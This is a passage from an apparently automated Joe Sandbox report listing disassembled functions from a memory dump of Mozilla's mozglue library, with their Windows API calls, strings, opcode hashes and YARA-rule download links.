Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ddd97dd248dfdf1a0fd1f986fee33f52acd5d8f9f65716aada658a2a1333bda3
Instruction ID: 5f89e18b36994707c5caae9bca997063d11b1965ce0dbd89f168881fb983afcb
Opcode Fuzzy Hash: ddd97dd248dfdf1a0fd1f986fee33f52acd5d8f9f65716aada658a2a1333bda3
Instruction Fuzzy Hash: A321F871A00205DBDB05DF69CC80B6ABBB9FF42304F284529E914DB342F735D912CBA5

Function 6C5FB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C5FB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C5FB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C5FB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5FB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FB849

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 868f0d7d88f0f031dfd8d7b5b0d11f65aa231e1171ec707aafcd6e6d9f2e13c4
Instruction ID: 159f743b708fa124804545423bfccd56e54f6f11ec66ef1d74aa00ba220e8f9e
Opcode Fuzzy Hash: 868f0d7d88f0f031dfd8d7b5b0d11f65aa231e1171ec707aafcd6e6d9f2e13c4
Instruction Fuzzy Hash: A72148B0E002199FDF08DFA9C8855BEBBB4EF89314F148529E816A7700E731A945CBE5

Function 6C656E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C656E78

Part of subcall function 6C656A10: InitializeCriticalSection.KERNEL32(6C67F618), ref: 6C656A68
Part of subcall function 6C656A10: GetCurrentProcess.KERNEL32 ref: 6C656A7D
Part of subcall function 6C656A10: GetCurrentProcess.KERNEL32 ref: 6C656AA1
Part of subcall function 6C656A10: EnterCriticalSection.KERNEL32(6C67F618), ref: 6C656AAE
Part of subcall function 6C656A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C656AE1
Part of subcall function 6C656A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C656B15
Part of subcall function 6C656A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C656B65
Part of subcall function 6C656A10: LeaveCriticalSection.KERNEL32(6C67F618,?,?), ref: 6C656B83

MozFormatCodeAddress.MOZGLUE ref: 6C656EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C656EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C656EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C656EFF

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 6cb7ef28e46330c4e7bfae06813a46698c8c3db694b20c68e8607573f812041d
Instruction ID: 69f623bfeef32ac7b671824237d71b9297357f010765bbb6f192656798da0cb7
Opcode Fuzzy Hash: 6cb7ef28e46330c4e7bfae06813a46698c8c3db694b20c68e8607573f812041d
Instruction Fuzzy Hash: 5521C1B1A0421A8FCB04CF29D8C4ADE77F5EF84308F044439E80997340EB349A58CFA6

Function 6C630D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C5F3DEF), ref: 6C630D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C5F3DEF), ref: 6C630D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C5F3DEF), ref: 6C630DAF

Strings

<jemalloc>, xrefs: 6C630D92, 6C630DB9
: (malloc) Error in VirtualFree(), xrefs: 6C630D97, 6C630DBE

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: c7801dc0519997f2bca504b8a3d0b609c032d53a035ed05fb16520b3651b8d80
Instruction ID: 6447d727be20cde1120ae188512be7dd1beafafe02cd47e0d2f259daee0b61a1
Opcode Fuzzy Hash: c7801dc0519997f2bca504b8a3d0b609c032d53a035ed05fb16520b3651b8d80
Instruction Fuzzy Hash: 43F0E9313802B423E63616660C0ABAA67DD67C2F25F307436F20CDA9C0DA94E4088ABD

Function 6C655850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C65586C
CloseHandle.KERNEL32 ref: 6C655878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C655898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6558C9
free.MOZGLUE(00000000), ref: 6C6558D3

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 499642d15e17a1a944024b7e0184998e2946042ae7a4c6c2ca2a60c0ee663af1
Instruction ID: 059be70a4ef38f57214b03a5c980e5eab55874aed7b768ac296e11f6240fa627
Opcode Fuzzy Hash: 499642d15e17a1a944024b7e0184998e2946042ae7a4c6c2ca2a60c0ee663af1
Instruction Fuzzy Hash: F90121717041219BEB0ADF27D88CE067BB8EB93325F644935D416C6610D73194158FAE

Function 6C647620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6475C4,?), ref: 6C64762B

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6474D7,6C641385,?,?,?), ref: 6C647644
GetCurrentThreadId.KERNEL32 ref: 6C64765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6474D7,6C641385,?,?,?), ref: 6C647663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6474D7,6C641385,?,?,?), ref: 6C647677

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 0f6842bd16dd7647df6bcc13359eb4c045949dba78eeab6521ad3d1dc44ccf1d
Instruction ID: cf39ac143e7702f20dfea94c5c4edbcec9aa4c19f87f408480abf4d86e1b4916
Opcode Fuzzy Hash: 0f6842bd16dd7647df6bcc13359eb4c045949dba78eeab6521ad3d1dc44ccf1d
Instruction Fuzzy Hash: D1F0FF71E10345ABE3018F22C888676B778FFEA298F114316F90452601E7B0A5D18BE0

Function 6C651700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C651800

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

Part of subcall function 6C5F4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C633EBD,6C633EBD,00000000), ref: 6C5F42A9

Strings

Details, xrefs: 6C651925
name, xrefs: 6C651939
{marker.name} - {marker.data.name}, xrefs: 6C6518C7

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 72440911051bc0717c853132efcf9e4f89895cea4c6a92dbca42b7d47b9a9717
Instruction ID: 09c58be0249bb8c9678dc0f72f7831a73f08d081ee46268926493b919016b075
Opcode Fuzzy Hash: 72440911051bc0717c853132efcf9e4f89895cea4c6a92dbca42b7d47b9a9717
Instruction Fuzzy Hash: 0C71F670A003069FD704CF29C494B9ABBB1FF86304F544669D8154BB41D770EAA9CFEA

Function 6C642CF0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 160COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C642E2D

Strings

ProfileBuffer parse error: %s, xrefs: 6C642E3B
expected a Time entry, xrefs: 6C642E36
(root), xrefs: 6C64354F

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __acrt_iob_func
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 711238415-4149320968
Opcode ID: 3968c1e5476848ad66cf8713c8a9d90e76cd23995ddc41b4c0770d947618cbb7
Instruction ID: 7416517b355430796722b5ce55928937d8c5cf3b6a8f1ef4b3f484b95e32dc8c
Opcode Fuzzy Hash: 3968c1e5476848ad66cf8713c8a9d90e76cd23995ddc41b4c0770d947618cbb7
Instruction Fuzzy Hash: FC519EB06087818FC724CF25C48169EB7E1AFCA358F20C92DE59A97B50DB30D945CB5E

Function 6C61D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

EnterCriticalSection.KERNEL32(6C67E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D4F2
LeaveCriticalSection.KERNEL32(6C67E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D50B

Part of subcall function 6C5FCFE0: EnterCriticalSection.KERNEL32(6C67E784), ref: 6C5FCFF6
Part of subcall function 6C5FCFE0: LeaveCriticalSection.KERNEL32(6C67E784), ref: 6C5FD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D52E
EnterCriticalSection.KERNEL32(6C67E7DC), ref: 6C61D690
LeaveCriticalSection.KERNEL32(6C67E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D751

Strings

MOZ_CRASH(), xrefs: 6C61D4BB

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 12591e48a59d4272ea50c5890feaf24ad56e87b8a4170e5712149f48b33dc8c1
Instruction ID: acca5cbbae122e6438eb5ba3ba8f03c9e3578f46570295b14588b589eb22f3b3
Opcode Fuzzy Hash: 12591e48a59d4272ea50c5890feaf24ad56e87b8a4170e5712149f48b33dc8c1
Instruction Fuzzy Hash: D151E171A087118FD729CF29C09065AB7F1EB89309F144E2ED59AC7F84D730E800CBAA

Function 6C644630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C644721

Strings

., xrefs: 6C64476A
-%llu, xrefs: 6C644733
profiler-paused, xrefs: 6C6446E4

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 8deea3bc18fd32b108eb0afd9a0f3191c74c10f3b819709c6d9649361aeb514c
Instruction ID: b95a3b541b5f2e2ef0d97d8349d707875b6511af52e0adf799fbebecb7453bea
Opcode Fuzzy Hash: 8deea3bc18fd32b108eb0afd9a0f3191c74c10f3b819709c6d9649361aeb514c
Instruction Fuzzy Hash: 11415971E047089BCB08DF7AD89216EBBF5EF86344F10C63DE855A7B41EB709805879A

Function 6C669830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C66985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C66987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C6698DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C6698D9

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: df87ec4f1cf43fcec8b2212e7cb4efb9c20053119958abe822945eeddb813b61
Instruction ID: ef9d0038d9faf098c9a14cc1f06eec31e53f8250b88f1b8027da8595b2d91a6c
Opcode Fuzzy Hash: df87ec4f1cf43fcec8b2212e7cb4efb9c20053119958abe822945eeddb813b61
Instruction Fuzzy Hash: 6C310871A001086FDF14AF59D8449EE77B9EF85718F50442DEA0AABB40CB7599048FEE

Function 6C6446E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C644721

Part of subcall function 6C5F4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C633EBD,00000017,?,00000000,?,6C633EBD,?,?,6C5F42D2), ref: 6C5F4444

Strings

., xrefs: 6C64476A
-%llu, xrefs: 6C644733
profiler-paused, xrefs: 6C6446E4

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 6cf3752b8b43cfee551abf491602327f7b72b9162ca125cfe129a68ba817a9dd
Instruction ID: ee1a9e8851a23e3f61633a3a236bbc77c38040de0e2c57e8815a1fbf23d1a244
Opcode Fuzzy Hash: 6cf3752b8b43cfee551abf491602327f7b72b9162ca125cfe129a68ba817a9dd
Instruction Fuzzy Hash: A3315971F042085BDB0CCF6DD8826ADBBE6DB89314F14C53EE8059BB40EBB4D8058B99

Function 6C64B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5F4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C633EBD,6C633EBD,00000000), ref: 6C5F42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,6C64B127), ref: 6C64B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C64B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C64B4E4

Strings

pid:, xrefs: 6C64B4DE

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 76991e2682e63487f8529d7f75c83d4c5329ce09a3ea140da9f782cf7ea86328
Instruction ID: 5f97956d568549577b16807c49fcbc368043fd2ad70e0d332c254860a59a2f03
Opcode Fuzzy Hash: 76991e2682e63487f8529d7f75c83d4c5329ce09a3ea140da9f782cf7ea86328
Instruction Fuzzy Hash: 56314831A01618DFCB04DFA9D880AEEB7B5FF85318F548929D80167A41D731E849CFE9

Function 6C60BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C657A3F), ref: 6C60BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C657A3F), ref: 6C60BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C657A3F), ref: 6C60BF7E

Strings

fl, xrefs: 6C60BF84

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: fl
API String ID: 4279176481-3822986822
Opcode ID: 62fc0da542ffe3e16e573ce70c7971547cc860a9b3fdcf3425d24e1b51642386
Instruction ID: 74de540aa1abd731f5464f84b75d5443d2855dac4e3fc8bef014787095124244
Opcode Fuzzy Hash: 62fc0da542ffe3e16e573ce70c7971547cc860a9b3fdcf3425d24e1b51642386
Instruction Fuzzy Hash: C011C0792006048FC729CF4DD699966FBF8FF99308715885DE98A8BB50C731E800CB95

Function 6C63E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C63E577
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63E584
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C63E8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C63E777
[I %d/%d] profiler_start, xrefs: 6C63EBB4
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C63E826
MOZ_PROFILER_STARTUP, xrefs: 6C63E5A1, 6C63E5FF
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C63E722
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C63E655

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$[I %d/%d] profiler_start
API String ID: 1483687287-1611356987
Opcode ID: 2ed515cfce200a15893e002af4eeb42a6d89404527ee9eb5194d60752b15de84
Instruction ID: 73c7361da53e92a473d5b75dc7338adc0e33c40e0095991912e6e05e03bf8896
Opcode Fuzzy Hash: 2ed515cfce200a15893e002af4eeb42a6d89404527ee9eb5194d60752b15de84
Instruction Fuzzy Hash: E511CE31A04268DFCB159F16C488A69BBB4FFC9328F100D19E94547A45C770A815CFFE

Function 6C640C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C640CD5

Part of subcall function 6C62F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE(?,6C605407), ref: 6C62F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C640D40
free.MOZGLUE ref: 6C640DCB

Part of subcall function 6C615E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C615EDB
Part of subcall function 6C615E90: memset.VCRUNTIME140(ewel,000000E5,?), ref: 6C615F27
Part of subcall function 6C615E90: LeaveCriticalSection.KERNEL32(?), ref: 6C615FB2

free.MOZGLUE ref: 6C640DDD
free.MOZGLUE ref: 6C640DF2

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 4450b5de7268678f1526b377bd652ba66357053c6ab8d3c20e13fd6fafc58f83
Instruction ID: bbdbb2ff7aad98ae8ebe4ead96749a3f7cff3354a7e5b88767592dd9cd46f104
Opcode Fuzzy Hash: 4450b5de7268678f1526b377bd652ba66357053c6ab8d3c20e13fd6fafc58f83
Instruction Fuzzy Hash: 284116719087909BD720CF29C08079AFBE5BFD9714F10CA2EE8D887B50D7709849CB9A

Function 6C630800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E7DC), ref: 6C630838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C63084C
EnterCriticalSection.KERNEL32(?), ref: 6C6308AF
LeaveCriticalSection.KERNEL32(?), ref: 6C6308BD
LeaveCriticalSection.KERNEL32(6C67E7DC), ref: 6C6308D5

Memory Dump Source

